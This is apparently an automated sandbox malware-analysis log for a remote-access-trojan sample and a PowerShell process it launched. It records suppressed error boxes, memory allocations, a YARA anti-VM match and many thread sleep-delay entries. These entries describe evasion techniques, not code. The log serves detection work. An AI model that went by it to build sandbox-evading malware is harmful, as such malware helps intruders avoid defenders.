Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 2924, type: MEMORYSTR

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Memory allocated: 870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Memory allocated: 26A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Memory allocated: C20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Memory allocated: 84A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Memory allocated: 94A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Memory allocated: 9690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Memory allocated: A690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Memory allocated: FA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Memory allocated: 29C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Memory allocated: 49C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598704	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598579	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598454	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598336	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596993	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596766	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596641	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596532	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596407	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596297	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596063	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594110	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5753	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4012	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Window / User API: threadDelayed 8704	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Window / User API: threadDelayed 1119	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 2076	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5304	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 5880	Thread sleep count: 8704 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 5880	Thread sleep count: 1119 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -599657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -598938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -598704s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -598579s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -598454s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -598336s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -598219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -598094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -596993s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -596875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -596766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -596641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -596532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -596407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -596297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -596188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -596063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -595938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -595813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -595688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -595578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -595469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -595344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe TID: 6164	Thread sleep time: -594110s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
